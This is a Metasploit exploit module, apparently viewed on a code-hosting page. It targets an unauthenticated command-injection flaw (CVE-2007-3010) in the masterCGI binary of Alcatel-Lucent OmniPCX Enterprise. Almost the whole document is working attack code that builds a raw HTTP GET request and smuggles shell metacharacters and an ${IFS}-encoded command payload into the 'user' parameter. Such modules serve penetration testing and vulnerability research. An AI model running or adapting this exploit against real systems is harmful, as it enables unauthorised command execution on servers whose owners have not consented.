Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking # Only interactive single commands supported78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',13'Description' => %q{14This module abuses a metacharacter injection vulnerability in the15HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise16Communication Server 7.1 and earlier. The Unified Maintenance Tool17contains a 'masterCGI' binary which allows an unauthenticated attacker18to execute arbitrary commands by specifying shell metacharaters as the19'user' within the 'ping' action to obtain 'httpd' user access. This20module only supports command line payloads, as the httpd process kills21the reverse/bind shell spawn after the HTTP 200 OK response.22},23'Author' => [ 'aushack' ],24'License' => MSF_LICENSE,25'References' =>26[27[ 'OSVDB', '40521' ],28[ 'BID', '25694' ],29[ 'CVE', '2007-3010' ],30[ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],31],32'Platform' => ['unix'],33'Arch' => ARCH_CMD,34'Privileged' => false,35'Payload' =>36{37'Space' => 1024,38'DisableNops' => true,39'Compat' =>40{41'PayloadType' => 'cmd',42'RequiredCmd' => 'generic'43}44},45'Targets' =>46[47[ 'Automatic Target', { }]48],49'DefaultTarget' => 0,50'DisclosureDate' => '2007-09-09'))5152register_options(53[54Opt::RPORT(443),55OptBool.new('SSL', [true, 'Use SSL', true]),56])57end5859def exploit60connect6162cmd = payload.encoded.gsub(" ", '${IFS}')63req =64"GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +65"Host: #{rhost}\r\n\r\n"6667print_status("Sending GET request with command line payload...")68sock.put(req)6970res = sock.get_once(-1, 5)7172if (res =~ /<h5>(.*)<\/h5>/smi)73out = $174print_line(out.gsub(/<h5>|<\/h5>/, ''))75return76end7778handler79disconnect80end81end828384